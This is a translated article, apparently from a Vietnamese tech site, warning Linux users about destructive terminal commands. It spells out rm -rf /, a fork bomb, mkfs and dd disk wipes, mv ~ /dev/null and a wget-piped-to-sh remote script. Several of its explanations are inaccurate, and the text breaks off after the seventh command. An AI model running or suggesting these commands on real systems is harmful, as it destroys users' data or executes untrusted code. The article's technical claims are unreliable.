Whether you are a user Linux If you have been using it for a long time or just started using it, you should read this article. Linux is an open source operating system that does not restrict or taboo any commands. That means you can do everything on Linux with the Terminal command line interface.
Join the channel Telegram of the AnonyViet π Link π |
Terminal is the command line window that makes this operating system famous. You can do everything with Terminal from writing code, debugging, hacking⦠This window will help you execute any command you want. You can even manually delete the entire Linux operating system with just a few commands typed into Terminal.
Terminal β powerful but dangerous
Terminal will quickly execute your command immediately after pressing Enter without any confirmation. That makes it incredibly powerful and also incredibly dangerous. Imagine if a potentially harmful command was typed in and ran on Terminal?
The consequences are unpredictable, because Terminal just takes the command and runs it. It doesn’t need to know if the command is harmful to its owner or not. If you use Linux you need to know the following 08 commands to avoid self-harm!!
08 taboo commands that should not be used on Linux
On the operating system Ubuntu, the command will be run with admin rights if there is a keyword sudo before. But on Linux, all commands are always run with administrative rights. Therefore, we need to pay close attention to the commands to avoid harming our own machine.
The command deletes everything (including the operating system)
If you type in the Terminal command rm -rf /
will mean erasing everything currently on the computer. This command will be interpreted as follows:
- rm is the keyword that represents the action to delete something.
- -rf is a phrase that refers to a command rm The above runs and deletes the Files and Folders inside the specified place.
- / If you put nothing after the / sign, Linux will interpret it as starting from the root (synonym for everything).
So when you run this command, Linux will start deleting all the specified files from outside to inside. Your hard drive will be cleaned up (including system files).
:(){ :|: & };: β Fork Bomb
This command, although it looks simple, is extremely dangerous if you do not know it.
:(){ :|: & };:
When this command is executed it will call back the shell function to recreate itself. This is like a virus that copies itself and produces many more. Your computer’s RAM and CPU will be overloaded and cause crashes. This is the basic simulation for a DDOS attack.
mkfs.ext4 /dev/sda1 β Format hard drive
This command is equally simple and dangerous, and it is also very easy to understand.
mkfs.ext4 /dev/sda1
This command will be interpreted as follows:
- mkfs.ext4 will create a new ext4 file system on your device.
- /dev/sda1 β This command specifies the first partition (primary partition) on your drive.
When running the command, it will erase all data in the first partition of the drive and replace it with a new partition format file. However, this command can also be customized to mkfs.ext3 /dev/sdb2
to format the 2nd partition in the drive. This format will cause the drive to lose all data and cannot be recovered.
command > /dev/sda β Write directly to the hard drive
This command also works almost like the one above. It will send the output data to the first partition of the hard drive and overwrite it. This will damage your system files, which can also damage the operating system, so be careful.
command > /dev/sda
This command will be interpreted as follows:
- command β Execute command
- > Send output data to a specified location.
- /dev/sda Overwrite the output data on the hard drive.
dd if=/dev/random of=/dev/sda β Litter to the hard drive
When running the command dd if=/dev/random of=/dev/sda
will cause the data in your hard drive to be scattered. This will lead to many junk files. This command is interpreted as follows:
- dd β Copy data from one place to another at a low level (partial copy).
- if=/dev/random β Randomize output data. You will also see some other partitions created like /dev/zeroβ¦
- of=/dev/sda β Writes data to the first partition of the drive and overwrites randomly assigned files.
mv ~ /dev/null β Move the system Home Partition into a black hole
the /dev/null partition is a special partition that exists hidden and cannot be found (like a black hole). Moving any file here will also automatically destroy that file. To do this you need to run the following command:
mv ~ /dev/null
- mv β move a file or folder to another partition.
- ~ β Represents the entire Home partition of the system
- /dev/null β Like the black hole I mentioned above, moving the folder here means self-destructing it.
wget http://example.com/something -O β | sh β Download and run the script from the web
This command will access a web page. If the web page contains a script that Linux can understand, it will run that script. This is also how others can attack and destroy your Linux operating system in a split second.
wget http://example.com/something -O β | sh
wget β Download a file from a specified web-only disk.
http://example.com/something β The site that the wget command will download